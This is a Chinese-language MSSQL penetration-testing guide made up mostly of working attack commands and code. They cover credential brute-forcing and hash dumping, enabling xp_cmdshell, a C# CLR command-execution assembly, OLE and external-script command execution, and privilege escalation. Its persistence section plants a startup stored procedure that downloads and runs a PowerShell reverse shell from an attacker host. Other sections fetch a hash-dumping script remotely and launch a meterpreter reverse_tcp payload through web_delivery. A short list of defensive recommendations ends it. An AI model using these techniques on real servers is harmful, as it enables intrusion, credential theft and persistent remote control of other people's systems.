mssql攻防探究
字数 601 2025-08-18 11:36:36

MSSQL攻防技术全面指南

一、基础信息探测

1. 使用Nmap进行扫描

# 查找MSSQL相关的NSE脚本
locate *.nse | grep ms-sql

# 扫描MSSQL版本信息
nmap -p 1433 --script ms-sql-info 192.168.3.130

# 暴力破解MSSQL账号
nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.3.130

# 通过NetBIOS枚举信息
nmap -p1433 --script ms-sql-ntlm-info 192.168.3.130

# 转储密码哈希
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=admin 192.168.3.130

# 枚举数据库表
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=admin 192.168.3.130

2. 使用Metasploit进行扫描

# 定位MSSQL服务器
use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.3.0/24
set threads 255
exploit

# 密码破解
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.3.130
set user_file users.txt
set pass_file pass.txt
set verbose false
exploit

# 获取版本信息
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.3.130
set username sa
set password admin
exploit

# 枚举MSSQL信息
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.3.130
set username sa
set password admin
exploit

# 用户枚举
use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.3.130
set username sa
set password admin
exploit

二、命令执行技术

1. xp_cmdshell

-- 检查是否为DBA权限
SELECT IS_SRVROLEMEMBER('sysadmin');

-- 检查xp_cmdshell是否存在
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'

-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 执行命令
EXEC master..xp_cmdshell 'whoami';

-- 禁用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

2. 使用sqsh工具执行命令

sqsh -S 192.168.3.130 -U sa -P "admin"
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go

3. 使用mssqlclient.py连接

python3 mssqlclient.py administrator:123456@192.168.3.129 -port 1433 -windows-auth
enable_xp_cmdshell
xp_cmdshell "net user"

三、权限提升技术

1. 从db_owner到sysadmin

use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.3.130
set username test1
set password admin@123
exploit

2. 模拟其他用户提权

use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.3.130
set username test1
set password admin@123
exploit

3. 滥用Trustworthy属性(db_owner提权)

-- 检查数据库可信属性
select name,is_trustworthy_on from sys.databases

-- 激活可信属性
ALTER DATABASE [ignite] SET TRUSTWORTHY ON

-- 模拟dbo用户
EXECUTE AS USER = 'dbo';
SELECT system_user;

四、高级攻击技术

1. CLR程序集执行命令

// C#代码示例
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec(SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();
        proc.WaitForExit();
        proc.Close();
    }
};
-- 启用CLR集成
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE
GO

-- 创建程序集
CREATE ASSEMBLY shell FROM 'c:\temp\shell.dll' WITH PERMISSION_SET = UNSAFE;

-- 创建存储过程
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO

-- 执行命令
EXEC [dbo].[cmd_exec] 'whoami'

2. 使用SP_OACREATE执行命令

-- 检查OLE自动化是否开启
EXEC sp_configure 'Ole Automation Procedures'; 
GO

-- 开启OLE自动化
sp_configure 'show advanced options', 1; 
GO 
RECONFIGURE; 
GO 
sp_configure 'Ole Automation Procedures', 1; 
GO 
RECONFIGURE; 
GO

-- 执行命令(无回显)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\\Windows\\System32\\cmd.exe /c whoami /all > C:\\Users\\Administrator\\Desktop\\1.txt';

3. 使用外部脚本执行命令

-- 检查外部脚本是否启用
sp_configure 'external scripts enabled'
GO

-- 启用外部脚本
EXECUTE sp_configure 'external scripts enabled', 1;
GO
RECONFIGURE;
GO

-- 执行Python命令
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("ipconfig"))'

-- 执行R脚本
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c ipconfig",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

五、权限维持技术

1. 使用存储过程进行权限维持

-- 创建存储过程
USE master
GO
CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(\"http://192.168.3.133:8081/Invoke-PowerShellTcpOneLine.ps1\")"'
GO

-- 设置为启动时执行
EXEC sp_procoption @ProcName = 'test_sp', @OptionName = 'startup', @OptionValue = 'on';

-- 查询启动存储过程
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

六、其他实用技术

1. 通过HTTP加密代理建立TCP连接

python2 abpttsclient.py -u "http://192.168.3.13:84/abptts.aspx" -c webshell\config.txt -f 127.0.0.1:143/192.168.3.13:1433

2. 远程加载PowerShell脚本

$text = "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.1/Get-PassHashes.ps1');Get-PassHashes;"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText > bs64.txt
-- 执行Base64编码的PowerShell命令
exec master..xp_cmdshell 'powershell -exec bypass -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgAxAC8ARwBlAHQALQBQAGEAcwBzAEgAYQBzAGgAZQBzAC4AcABzADEACgAnACkAOwBHAGUAdAAtAFAAYQBzAHMASABhAHMAaABlAHMAOwA=';

3. 使用crackmapexec调用web_delivery模块

# MSF启动web_delivery模块
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.133
exploit

# crackmapexec执行
crackmapexec mssql 192.168.3.129 -u 'administrator' -p '123456' -M web_delivery -o URL=http://192.168.3.133:8080/9SwSSB2rIZOWEP

七、防御建议

  1. 禁用不必要的存储过程如xp_cmdshell、OLE自动化等
  2. 限制数据库可信属性(TRUSTWORTHY)
  3. 严格控制CLR程序集的使用
  4. 使用强密码策略,特别是sa账户
  5. 定期审计数据库权限和用户角色
  6. 监控异常登录和命令执行行为
  7. 及时安装MSSQL安全补丁
  8. 限制网络访问,仅允许必要IP连接

本指南涵盖了MSSQL渗透测试中的主要技术点,从基础信息收集到高级权限提升和维持技术,为安全研究人员提供了全面的参考。在实际测试中,应根据目标环境选择合适的技术组合。

MSSQL攻防技术全面指南 一、基础信息探测 1. 使用Nmap进行扫描 2. 使用Metasploit进行扫描 二、命令执行技术 1. xp_ cmdshell 2. 使用sqsh工具执行命令 3. 使用mssqlclient.py连接 三、权限提升技术 1. 从db_ owner到sysadmin 2. 模拟其他用户提权 3. 滥用Trustworthy属性(db_ owner提权) 四、高级攻击技术 1. CLR程序集执行命令 2. 使用SP_ OACREATE执行命令 3. 使用外部脚本执行命令 五、权限维持技术 1. 使用存储过程进行权限维持 六、其他实用技术 1. 通过HTTP加密代理建立TCP连接 2. 远程加载PowerShell脚本 3. 使用crackmapexec调用web_ delivery模块 七、防御建议 禁用不必要的存储过程如xp_ cmdshell、OLE自动化等 限制数据库可信属性(TRUSTWORTHY) 严格控制CLR程序集的使用 使用强密码策略,特别是sa账户 定期审计数据库权限和用户角色 监控异常登录和命令执行行为 及时安装MSSQL安全补丁 限制网络访问,仅允许必要IP连接 本指南涵盖了MSSQL渗透测试中的主要技术点,从基础信息收集到高级权限提升和维持技术,为安全研究人员提供了全面的参考。在实际测试中,应根据目标环境选择合适的技术组合。